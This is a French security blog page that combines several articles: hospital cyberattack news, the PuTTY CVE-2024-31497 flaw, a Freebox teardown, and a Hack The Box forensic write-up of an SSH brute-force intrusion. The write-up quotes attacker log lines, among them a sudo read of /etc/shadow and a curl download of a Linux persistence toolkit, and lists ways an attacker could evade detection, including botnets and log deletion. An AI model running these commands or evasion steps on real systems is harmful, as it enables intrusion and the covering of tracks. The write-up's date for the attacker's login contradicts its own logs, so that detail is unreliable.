Ce qu'il est important de retenir au-delà de Sysmon est l'importance d'avoir une journalisation la plus complète et précise possible concernant les évènements de sécurité, puis d'être capable de la centraliser (SIEM) et de surveiller activement et comprendre ces différents évènements. Dans cette démarche macro, Sysmon n'est finalement qu'un point de départ.
N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord !
Alpes-Maritime : l'Hôpital Simone Veil de Cannes est actuellement victime d'une cyberattaque ! Certaines activités clés sont paralysées suite à cet incident de sécurité. Voici ce que l'on sait !
Malheureusement, l'Hôpital Simone Veil de Cannes vient s'ajouter à la longue liste d'hôpitaux victimes d'une cyberattaque, malgré tous les efforts effectués par les équipes techniques. Cette cyberattaque s'est visiblement déroulée dans la nuit du 15 au 16 avril, puisque les activités de l'Hôpital sont perturbées depuis mardi 16 avril. Plusieurs systèmes informatiques sont paralysés suite à cet incident.
En réponse à cet incident de sécurité, une cellule de crise a été activée "en lien avec l’Agence Régionale de santé PACA et le Groupement Hospitalier de territoire des Alpes Maritimes, le directeur et le président de la commission médicale d’établissement.", peut-on lire sur le compte X (Twitter) du centre. L'ANSSI est également sur le coup pour l'accompagnement technique.
Cette cyberattaque impact l'hôpital et ce dernier ne peut pas fonctionner normalement. Justement, en attendant un retour à la normale, les opérations non urgentes ont été reportées, tout comme les consultations. "Dans ce cadre, le CH est contraint de reporter l’activité programmée non urgente n’entraînant pas de perte de chance. Les consultations non urgentes sont également reportées jusqu’à retour à la normale.", a indiqué l'Hôpital Simone Veil sur X.
Pour le moment, aucune information n'a été publiée quant à l'origine de cette attaque. Nous ignorons s'il s'agit d'un ransomware. Si vous disposez d'informations supplémentaires, n'hésitez pas à commenter cet article ou à me contacter.
Vous connaissez probablement l'application PuTTY. Sachez que de nombreuses versions sont affectées par une nouvelle vulnérabilité pouvant permettre de deviner votre clé privée. D'autres applications sont impactées. Faisons le point sur cette menace !
Pour rappel, PuTTY est une application open source permettant de se connecter à des équipements réseaux ou des serveurs distants, généralement sous Linux, par l'intermédiaire de plusieurs protocoles, dont le SSH et le Telnet. Même s'il existe de nombreuses alternatives et des gestionnaires de connexions plus complets, PuTTY reste un "client SSH" populaire et très utilisé par les administrateurs systèmes sous Windows.
Cette vulnérabilité, associée à la référence CVE-2024-31497, a été découverte par Fabian Bäumer et Marcus Brinkmann de l'Université de la Ruhr à Bochum, en Allemagne.
Elle est liée à la manière dont l'application PuTTY génère les nonces ECDSA pour la courbe NIST P-521 utilisée dans le cadre de l'authentification SSH. Un nonce ECDSA est un nombre aléatoire utilisé dans le processus de création de la signature ECDSA. Un nonce est unique pour chaque signature. Dans le cas présent, nous pouvons dire que la fonction de génération de signatures est biaisée à cause de ce problème de sécurité lié à la génération des nonces.
Cette signature numérique est créée à partir de la clé privée de l'utilisateur, et cette clé, comme son nom l'indique, doit rester uniquement en possession de son propriétaire. La signature doit être vérifiée à partir de la clé publique (on parle d'une paire de clés) afin de garantir l'identité de l'utilisateur et sécuriser la connexion.
Calculer la clé privée grâce à la CVE-2024-31497
En exploitant cette vulnérabilité, un attaquant peut parvenir à calculer la clé privée utilisée par l'utilisateur, sans en avoir connaissance à la base.
Pour cela, comme l'explique Marcus Brinkmann sur X (Twitter) : "L'attaque de l'ECDSA avec des nonces biaisés est une technique standard. Un attaquant collecte au moins 521/9≈58 signatures à partir de commits Git signés ou de connexions de victimes au serveur SSH de l'attaquant. Un peu de mathématiques permet à l'attaquant de calculer la clé privée hors ligne."
Ceci implique la collecte de 58 signatures effectuées à partir de la même clé privée pour que celle-ci puisse être découverte. La collecte de ces informations à partir de commits Git signés est certainement plus réaliste et plus "pratique" pour les attaquants.
Cette vulnérabilité, associée à la référence CVE-2024-31497, affecte toutes les versions de PuTTY de la 0.68 à la 0.80, publiée en décembre 2023. La dernière version, à savoir PuTTY 0.81, a été développée et publiée ce lundi 15 avril 2024 dans l'unique but de corriger cette faille de sécurité.
Cependant, il est essentiel de préciser que toutes les clés privées P-521 générée à l'aide d'une version vulnérable de l'outil pourraient être compromises et elles représentent un risque. Dans ce cas, ces clés doivent être renouvelées pour éliminer tous les risques de compromission, et elles sont également à retirer de la liste "authorized_keys" de vos serveurs et équipements.
D'autres logiciels s'appuie directement sur PuTTY et sont également affectés.
Voici une liste, probablement pas exhaustive, de logiciels et des versions impactées :
FileZilla 3.24.1 - 3.66.5 (corrigé dans 3.67.0)
WinSCP 5.9.5 - 6.3.2 (corrigé dans 6.3.3)
TortoiseGit 2.4.0.2 - 2.15.0 (corrigé en 2.15.0.1)
TortoiseSVN 1.10.0 - 1.14.6 (atténuation possible en configurant TortoiseSVN pour utiliser Plink)
D'autres logiciels sont potentiellement affectés, ce qui pourrait être le cas si un outil s'appuie sur PuTTY (à voir, selon la version).
Stéphane Marty s'est attaqué au dernier bébé de Free : la Freebox Ultra. Xavier est allé lui-même expédier ce colis à Stéphane (c'est faux, mais il a mis un mot).
Démontage, analyse des composants, mesures de champs électromagnétiques, consommation. Stéphane Marty passe au crible la dernière box de l'opérateur. En conclusion : une très belle conception, le savoir faire de Free en matière de conception électronique n'est plus à démontrer.
Free a retenu la leçon de la freebox Delta. La Freebox Ultra est beaucoup moins complexe en terme de cartes et de fonctionnalités (plus de DECT, plus de domotique, etc).
En proposant un CPU dernier génération et un support du WiFi 7 dès sa publication en version finale, cette box est prévue pour durer. Et quand on voit aujourd'hui le nombre de Freebox Révolution encore en fonctionnement il n'y pas d'inquiétude à avoir non plus pour celle-ci (seul l'avenir le dira...).
Finalement cette Freebox Ultra est ultra optimisée. Si cette box rencontre un succès ce ne sera pas seulement pour son matériel, mais aussi grâce à l'offre de services que Free a réservé pour cette box :
En effet, dans un contexte d'augmentation permanent des abonnements aux plateformes de diffusion, nombreux sont ceux qui y voient déjà des économies. Au lieu de payer un abonnement à Netflix, Disney+, Prime Vidéo... ils payent un forfait à leur FAI. On se rapproche tout doucement du modèle américain.
On a un peu de mal à s'en souvenir mais lors de son lancement Netflix n'était proposé sur aucune box, et l'accueil des FAI était plutôt froid. Aujourd'hui la situation a bien changé et les opérateurs ont bien compris l'effet levier qu'ils permettent grâce à leur base d'abonnés, tout en prenant une marge "facile" au passage.
On se retrouve dans cet article pour une nouvelle solution de l'un des challenges d'investigation numérique/forensic nommés Sherlocks et mis à disposition par la plateforme Hack The Box. Dans cet article, nous allons détailler la démarche qui permet de résoudre le Sherlocks Brutus, de difficulté "débutant". Il s'agit d'un challenge très simple fait pour les débutants en cybersécurité qui vise à démystifier le forensic au travers un cas d'usage assez simple, mais tout de même réaliste.
Cet article sera notamment l'occasion de comprendre comment peut se dérouler concrètement une cyberattaque, et quels sont les modes opératoires des attaquants et analystes en cybersécurité. Nous allons plus précisément étudier le cas d'une attaque par bruteforce sur un service SSH et quelques fichiers de logs classiques des systèmes d'exploitation Linux.
Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque le Sherlocks en question sera indiqué comme "Retired".
Technologies abordées
Linux, bruteforce, wtmp, auth.log, SSH
Outils utilisés
cat, grep, tail, uniq, framework MITRE ATT&CK
Retrouvez tous nos articles Hack The Box via ce lien :
Dans le cadre de l'investigation, un contexte et une archive sont mis à disposition :
Le scénario du challenge nous apprend qu'un serveur Linux Confluence a été la cible d'une attaque par brute force et que l'attaquant est parvenu à accéder au serveur puis à réaliser des actions sur celui-ci. Notre objectif va donc être d'identifier plus clairement les différentes phases de cette cyberattaque en étant guidé par les questions du challenge.
Si l'on s'intéresse à l'archive "Brutus.zip" téléchargée et décompressée, nous découvrons deux fichiers :
Comme l'indique l'extension ".log", il s'agit de logs, c'est-à-dire des journaux d'évènements.
Les journaux d'évènements, ou "logs", sont des fichiers dans lesquels sont inscrits des informations à propos des opérations menées sur un système, avec des informations techniques et un horodatage, comme : "12/03/2022 12:56 : L'utilisateur john s'est authentifié". Ils permettent d'assurer une traçabilité des évènements et actions dans le temps sur un système et sont utilisés pour du debug, mais aussi pour l'investigation à la suite d'une cyberattaque puisqu'ils permettent de retracer la vie du système dans le passé.
Les fichiers de logs sont en général organisés par périmètre (authentification, application web, etc.) et suivent une structure et un formatage précis.
Ces deux fichiers ont des noms que les habitués des systèmes d'exploitation Linux devraient reconnaitre :
Le fichier "/var/log/auth.log" est un fichier servant à stocker les évènements relatifs à l'authentification sur les systèmes d'exploitations Linux tels qu'une authentification échouée ou réussie, locale ou distante.
Le fichier "/var/log/wtmp" est également un fichier de log qui vise à garder une trace de toutes les connexions et déconnexions au système. Il utilise un format différent des fichiers ".log", qui sont des fichiers texte et doit être parcouru à l'aide d'une commande bien précise.
Si l'on regarde les premières lignes du fichier "auth.log", on peut notamment y voir des informations concernant les authentifications, tentatives d'authentification et déconnexions sur le système, exemple :
Mar 6 06:31:42 ip-172-31-35-28 sshd[2423]: Failed password for backup from 65.2.161.68 port 34834 ssh2
Mar 6 06:31:42 ip-172-31-35-28 sshd[2424]: Failed password for backup from 65.2.161.68 port 34856 ssh2
Mar 6 06:31:44 ip-172-31-35-28 sshd[2423]: Connection closed by authenticating user backup 65.2.161.68 port 34834 [preauth]
Mar 6 06:31:44 ip-172-31-35-28 sshd[2424]: Connection closed by authenticating user backup 65.2.161.68 port 34856 [preauth]
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user
Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184
Passons à présent aux différentes tâches de notre investigation qui nous permettrons d'en découvrir plus sur ces fichiers et quelles informations ils peuvent nous fournir dans le cadre de l'étude d'une cyberattaque.
III. Investigation numérique : le cas Brutus
A. Tâche n°1: Identifier l'adresse IP de l'attaquant
Énoncé - Task 1 : Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?
D'après le scénario proposé dans le cadre du challenge, le système ayant produit ces logs à subit une attaque par brute force, qui consiste à essayer un très grand nombre de mots de passe pour un même compte utilisateur jusqu'à trouver la bonne combinaison. Parmi les nombreuses informations journalisées dans le fichier "auth.log" lors d'une authentification figure l'adresse IP du client.
Afin d'extraire toutes les adresses IP du fichier "auth.log", nous pouvons utiliser la commande "grep" ainsi qu'une expression régulière qui va extraire toutes les chaines de caractères qui s'apparentent à une adresse IP.
Comme vous pouvez le voir, j'ai également utilisé la commande "uniq" avec l'option "-c" afin qu'elle me sorte le nombre d'occurrences de chaque adresse IP. L'adresse IP "65.2.161.68" sort clairement du lot avec 210 occurrences. Nous pouvons à nouveau utiliser la commande "grep" pour extraire toutes les lignes de log contenant cette adresse IP :
$ grep "65.2.161.68" auth.log
Mar 6 06:31:31 ip-172-31-35-28 sshd[2325]: Invalid user admin from 65.2.161.68 port 46380
Mar 6 06:31:31 ip-172-31-35-28 sshd[2325]: Received disconnect from 65.2.161.68 port 46380:11: Bye Bye [preauth]
Mar 6 06:31:31 ip-172-31-35-28 sshd[2325]: Disconnected from invalid user admin 65.2.161.68 port 46380 [preauth]
Mar 6 06:31:31 ip-172-31-35-28 sshd[620]: drop connection #10 from [65.2.161.68]:46482 on [172.31.35.28]:22 past MaxStartups
Mar 6 06:31:31 ip-172-31-35-28 sshd[2327]: Invalid user admin from 65.2.161.68 port 46392
Mar 6 06:31:31 ip-172-31-35-28 sshd[2327]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68
Mar 6 06:31:31 ip-172-31-35-28 sshd[2332]: Invalid user admin from 65.2.161.68 port 46444
Mar 6 06:31:31 ip-172-31-35-28 sshd[2331]: Invalid user admin from 65.2.161.68 port 46436
Mar 6 06:31:31 ip-172-31-35-28 sshd[2332]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68
Mar 6 06:31:31 ip-172-31-35-28 sshd[2331]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68
Mar 6 06:31:31 ip-172-31-35-28 sshd[2330]: Invalid user admin from 65.2.161.68 port 46422
Cela nous donne effectivement des exemples intéressants, comme "Invalid user admin from 65.2.161.68" qui indique qu'une authentification a été tentée depuis cette adresse IP pour un utilisateur "admin", qui de toute façon n'existe pas sur le système.
Lorsqu'un attaquant opère une attaque par brute force sans connaitre de login utilisateur valide sur sa cible, il doit réaliser beaucoup plus de tests que s'il a la certitude de l'existence du compte utilisateur ciblé. Ainsi, son attaque à moins de chance d'aboutir et il a plus de chance de se faire détecter si de tels évènements sont surveillés.
Maintenant que nous avons identifié l'adresse IP de l'attaquant, nous allons pouvoir tenter de mieux comprendre les opérations qu'il a menées.
B. Tâche n°2 : Authentification réussie
Énoncé - Task 2 : The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?
La tâche suivante nous demande d'identifier quel compte a effectivement été compromis sur le système grâce à cette attaque. En regardant attentivement les journaux relatifs à l'adresse IP identifiée, nous pouvons voir que certains d'entre eux indiquent "Accepted password", c'est notamment le cas des toutes dernières lignes du fichier "auth.log" :
$ grep "65.2.161.68" auth.log | tail -n 4
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: Acceptedpassword for root from 65.2.161.68 port 53184 ssh2
Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user
Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184
Mar 6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2
Ainsi, en faisant un filtre sur le mot "Accepted" grâce à la commande "grep", nous pouvons obtenir toutes les authentifications réussies :
$ grep "Accepted" auth.log
Mar 6 06:19:54 ip-172-31-35-28 sshd[1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2
Mar 6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar 6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh
La première authentification réussie par l'adresse IP "65.2.161.68" concerne le compte utilisateur "root". C'est donc le mot de passe de ce compte qui a été découvert via l'attaque par brute force.
C. Tâche n°3 : Date de connexion SSH
Énoncé - Task 3 : Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?
Cette étape nous demande la date exacte de la première connexion réussie par l'attaquant. Nous pouvons cette fois-ci nous intéresser au fichier "wtmp" qui référence les ouvertures et fermetures de session sur un système. La première chose à savoir et qu'il ne s'agit pas d'un simple fichier texte comme "auth.log". Nous devons utiliser un outil capable de lire et correctement formater son contenu pour qu'il nous soit intelligible : la commande "last".
$ last -f wtmp -F
cyberjun pts/1 65.2.161.68 Wed Mar 6 07:37:35 2024 gone - no logout
root pts/1 65.2.161.68 Wed Mar 6 07:32:45 2024 - Wed Mar 6 07:37:24 2024 (00:04)
root pts/0 203.101.190.9 Wed Mar 6 07:19:55 2024 gone - no logout
reboot system boot 6.2.0-1018-aws Wed Mar 6 07:17:15 2024 still running
root pts/1 203.101.190.9 Sun Feb 11 11:54:27 2024 - Sun Feb 11 12:08:04 2024 (00:13)
root pts/1 203.101.190.9 Sun Feb 11 11:41:11 2024 - Sun Feb 11 11:41:46 2024 (00:00)
root pts/0 203.101.190.9 Sun Feb 11 11:33:49 2024 - Sun Feb 11 12:08:04 2024 (00:34)
root pts/0 203.101.190.9 Thu Jan 25 12:15:40 2024 - Thu Jan 25 13:34:34 2024 (01:18)
ubuntu pts/0 203.101.190.9 Thu Jan 25 12:13:58 2024 - Thu Jan 25 12:15:12 2024 (00:01)
reboot system boot 6.2.0-1017-aws Thu Jan 25 12:12:17 2024 - Sun Feb 11 12:09:18 2024 (16+23:57)
Ici, l'option "-F" nous permet d'obtenir la date complète de chaque session journalisée. Nous pouvons voir, si l'on regarde les sessions ouvertes par l'adresse IP suspecte identifiée, qu'une première session a été ouverte à 07:32:45 le 06/03/2024.
Un piège de l'exercice était ici de faire le lien entre ces horaires et ceux du fichier "auth.log" et de constater une différence d'une heure entre ces deux formats (pour une raison obscure). La bonne date est donc "2024-03-04 06:32:45".
D. Tâche n°4 : Identification de session SSH
Énoncé - Task 4 : SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2?
Il nous faut à présent identifier le numéro de session SSH associé à cette connexion.
Dans ce contexte, le numéro de session SSH permet de suivre les évènements relatifs à une session dans les journaux dans le cas ou plusieurs sessions apparaissent dans une même plage horaire.
Nous pouvons pour cela utiliser l'option "-AX" de la commande "grep" qui va nous afficher les X lignes après un match par rapport à la chaine de caractères recherchée. Cela nous permet de retrouver la connexion "root" de l'adresse IP "65.2.161.68".
$ grep "Accepted" auth.log -A 5
--
Mar 6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar 6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar 6 06:31:40 ip-172-31-35-28 systemd-logind[411]: New session 34 of user root.
--
Mar 6 06:31:40 ip-172-31-35-28 sshd[2411]: Received disconnect from 65.2.161.68 port 34782:11: Bye Bye
Mar 6 06:31:40 ip-172-31-35-28 sshd[2411]: Disconnected from user root 65.2.161.68 port 34782
--
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar 6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:33:01 ip-172-31-35-28 CRON[2562]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session closed for user confluence
Quelques lignes plus loin, nous avons l'information recherchée "New session 34", mais si l'on regarde la ligne suivante et l'horodatage de l'ensemble, on remarque que l'attaquant s'est déconnecté la même seconde, donc immédiatement. Il s'agit donc là de la connexion réussie réalisée par son outil de brute force, et non d'une connexion "manuelle" qui aurait eu un temps d'existence plus long. Là est aussi l'intérêt d'étudier également le fichier "wtmp", qui présente les mêmes informations de manière plus claire. Dans le fichier "auth.log", nous voyons bien que les informations relatives à une seule connexion sont sur plusieurs lignes et séparées par des informations concernant d'autres sessions.
Le second match nous indique une seconde session, qui elle n'est pas immédiatement déconnectée : "New session 37 of user root".
E. Tâche n°5 : création d'un accès persistant
Énoncé - Task 5 : The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?
D'après l'énoncé, l'attaquant aurait créé un accès dérobé sur le système compromis. À nouveau, l'étude du contenu du fichier "auth.log" nous renseigne sur un évènement de création d'un utilisateur, peu après la connexion de l'attaquant avant le compte "root" :
$ grep "65.2.161.68" auth.log | tail
Mar 6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=cyberjunkie, GID=1002
Mar 6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=cyberjunkie
Mar 6 06:34:18 ip-172-31-35-28 groupadd[2586]: new group: name=cyberjunkie, GID=1002
Mar 6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1
Mar 6 06:34:26 ip-172-31-35-28 passwd[2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie
Il semble donc que l'attaquant se soit créé un compte utilisateur pour pouvoir revenir plus tard sur le système, lui assurant ainsi un accès en cas de changement du mot de passe du compte "root". Le compte ici créé parait donc être "cyberjunkie", l'attaquant est venu s'y connecter juste après l'avoir créé.
$ grep "65.2.161.68" "cyberjunkie" auth.log
[...]
Mar 6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2
F. Tâche n°6 : TTP du MITRE ATT&CK
Énoncé - Task 6 : What is the MITRE ATT&CK sub-technique ID used for persistence?
Il nous est ici demandé de catégoriser cette opération de l'attaquant par rapport au framework du MITRE ATT&CK. La recherche peut être un peu fastidieuse si vous n'êtes pas du tout familier du framework. On peut déjà orienter nos recherches sur la catégorie "Persistence" qui concerne les opérations menées dans le but de maintenir un accès dans le temps sur un système compromis :
Présentation de la tactic "Persistence" sur framework MITRE ATT&CK.
Après avoir parcouru les différents TTP de cette "Tactic", il semble ici que ce soit le TTP 1136.001 qui corresponde le mieux à notre situation :
TTP 1136.001 relatif à l'opération de création d'un compte local à des fins de persistance.
G. Tâche n°7 : Temps de session SSH
Énoncé - Task 7 : How long did the attacker's first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)
Cet énoncé nous demande de trouver la durée de la session utilisateur en tant que "root". Il faut pour cela se baser sur l'horodatage des journaux d'évènements relatifs à la connexion et déconnexion de cette session :
$ grep -i "session 37" auth.log
Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Session 37 logged out. Waiting for processes to exit.
Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Removed session 37.
Le temps total de la session est de 279 secondes.
H. Tâche n°8 : Commande sudo
Énoncé - Task 8 : The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?
D'après l'énoncé, l'attaquant a utilisé son compte "cyberjunkie" afin d'élever ses privilèges en tant que "root" sur le système en utilisant la commande "sudo".
La commande "sudo" sur les systèmes Linux permet aux utilisateurs autorisés d'exécuter des commandes avec les privilèges d'autres utilisateurs, généralement "root". Elle permet d'attribuer des sortes de dérogation d'élévation de privilège sur des commandes précises. Certaines dérogations, si elles sont mal définies ou portent sur des commandes "vulnérables" peuvent être utilisées par l'attaquant pour outrepasser le seul périmètre de la commande et obtenir une session en tant que root.
Nous pouvons utiliser la commande "grep" sur le terme "sudo" et repérer rapidement la commande en question :
$ grep "sudo" auth.log
Mar 6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo'
Mar 6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'
Mar 6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Mar 6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar 6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Mar 6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Mar 6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar 6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for use
L'attaquant a donc utilisé la commande "sudo" afin de télécharger sur internet un script nommé "linper.sh", que nous pouvons d'ailleurs consulter de nous même : https://github.com/montysecurity/linper :
Il s'agit d'une boîte à outil de persistance ("persistence toolkit") pour les OS Linux, il vise à proposer plusieurs méthodes de persistance pour s'implanter de façon durable sur un système Linux compromis.
IV. Résumé de l'attaque
Au cours de cette investigation, nous avons pu étudier la cyberattaque menée sur notre serveur par un attaquant. Les journaux d'évènements nous ont permis de déterminer qu'une attaque par brute force a été menée sur le service SSH, sans connaissance préalable de comptes utilisateurs existants (mis à part un compte par défaut : "root"). L'opération a permis à l'attaquant de découvrir le mot de passe du compte "root". Compte qui a été utilisé pour créer un compte de persistance ("cyberjunkie") par l'attaquant et ajouter à ce compte un moyen d'exécuter des commandes en tant que root par l'intermédiaire d'une dérogation "sudo".
Cette dérogation a ensuite été utilisée par l'attaquant afin de télécharger le script bash "linper.sh", hébergé sur Github. Pour aller jusqu'au bout de la démarche, voici les TTP (Tactics, Techniques and Procedures) utilisés :
Téléchargement d'un script "linper.sh" depuis Internet sur la cible via "sudo" et "curl".
Et voilà ! Nous sommes arrivés au bout de l'exercice d'investigation :
V. Notions abordées
Nous allons à présent mettre en avant les principales notions et apprentissages de cet exercice, aussi bien pour l'attaquant que pour les défenseurs ou l'analyste. Il ne s'agit pas d'un point de vue complet, n'hésitez pas à améliorer ce contenu en donnant votre avis dans les commentaires :-).
A. Côté analyste
Nous avons vu dans cet exercice qu'il est important de se familiariser avec les logs classiques du système d'exploitation que l'on souhaite analyser. Connaitre le rôle et le format des journaux du fichier "auth.log" et les subtilités du fichier "wtmp" (commande "last") nous a permis de rapidement trouver les informations demandées.
Également, disposer d'un jeu de commandes préconçu pour rechercher des informations précises (expression régulière pour les adresses IP) ou faire des statistiques rapidement serait un plus, notamment en utilisant des outils qui permettent de rechercher et utiliser rapidement ces commandes comme "arsenal" :
Côté défense, plusieurs bonnes pratiques devraient être mises en place pour se protéger des attaques observées dans cette investigation :
Il est dans un premier temps recommandé de durcir la configuration SSH avec d'éviter le brute force SSH et d'interdire les connexions SSH en tant que root.
La mise en place de solutions "tierces" peut aussi être envisagée afin de se protéger des attaques par brute force, cela peut passer par le durcissement de la configuration "pam.d", la mise en place d'un service Fail2Ban ou Crowdsec.
Également, il peut être recommandé de durcir la politique de mot de passe de l'utilisateur root, et par extension de l'ensemble des utilisateurs du système concerné. Peu importe la wordlist utilisée, le mot de passe d'un utilisateur privilégié ne devrait jamais s'y trouver, cela indique l'utilisation d'un mot de passe probablement faible.
Il peut aussi être recommandé de mettre en place des restrictions, voire une interdiction totale d'accès à Internet de la part des serveurs si cela ne répond pas à un besoin justifié (l'application de mises à jour n'en étant pas une, il est préférable de passer par un serveur APT interne et maitrisé). Cela dans le but de bloquer ou ralentir la démarche de l'attaquant lors des opérations d'exfiltration d'informations ou d'import d'outils offensifs.
C. Côté attaquant
L'attaquant aurait, lui aussi, pu améliorer son attaque de plusieurs manières, notamment pour complexifier la tâche de l'analyste ou gagner en discrétion :
L'attaquant aurait pu étaler son attaque par brute force dans le temps afin de complexifier la tâche d'investigation de l'analyste, qui aurait dû trier des connexions légitimes et les connexions malveillantes. En fonction de la configuration de la journalisation, cela aurait également pu étaler les évènements dans plusieurs fichiers grâce à la rotation des journaux, voire entrainer une suppression au bout d'un certain volume ou ancienneté.
Un attaquant avec plus de moyens aurait aussi pu distribuer son attaque par brute force depuis plusieurs adresses IP afin de gagner en discrétion. Il aurait lors été plus complexe de faire une corrélation entre différentes tentatives d'authentification. Cela se fait généralement à l'aide de ressources Cloud hébergées dans plusieurs pays ou de botnet loués pour l'occasion :
Le téléchargement d'une ressource depuis un dépôt GitHub facilite la tâche de l'analyste qui peut rapidement identifier l'outil, son objectif, voir découvrir des éléments de signature lui permettant de le retrouver et le supprimer sur le système. Sans vraiment modifier le script lui-même, l'attaquant aurait pu passer par un serveur web temporaire pour que l'analyste ne puisse pas facilement identifier l'outilet une modification du nom du script afin de gagner du temps sur l'investigation et en discrétion.
L'analyse ici menée a été réalisée à 100% grâce aux journaux d'évènements du système lui-même, nous avons notamment pu découvrir les opérations de post-exploitation de l'attaquant (opérations menées après compromissions du système). Une fois les droits root obtenus, l'attaquant aurait pu stopper la production ou l'exfiltration des journaux d'évènements afin de gagner en discrétion au moment de l'attaque et de rendre quasi impossible la démarche d'investigation par la suite. Une simple suppression des journaux locaux aurait été possible grâce aux droits root par exemple. L'effacement des traces et une technique assez classique de post-exploitation par les attaquants réels et leur permet de couvrir toutes les pistes potentielles laissées lors de l'intrusion.
J'espère que cet article vous a plu ! Au-delà de la résolution du challenge, il est toujours intéressant de savoir tirer parti de ces exercices pour s'améliorer et en extraire le maximum d'apprentissage. N'hésitez pas à utiliser les commentaires et le Discord pour partager votre avis !
Enfin, si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points ) : Tester Hack the Box Academy
GitHub Actions workflows for GitHub Pages just became generally available. GitHub Pages is a service that lets you host static websites on GitHub directly from your repositories. GitHub Actions is a continuous integration and continuous delivery (CI/CD) platform provided by GitHub that allows users to automate their build, test, and deployment pipelines. This article takes you through using custom workflows to deploy static websites to GitHub Pages with GitHub Actions workflows.
Connexion
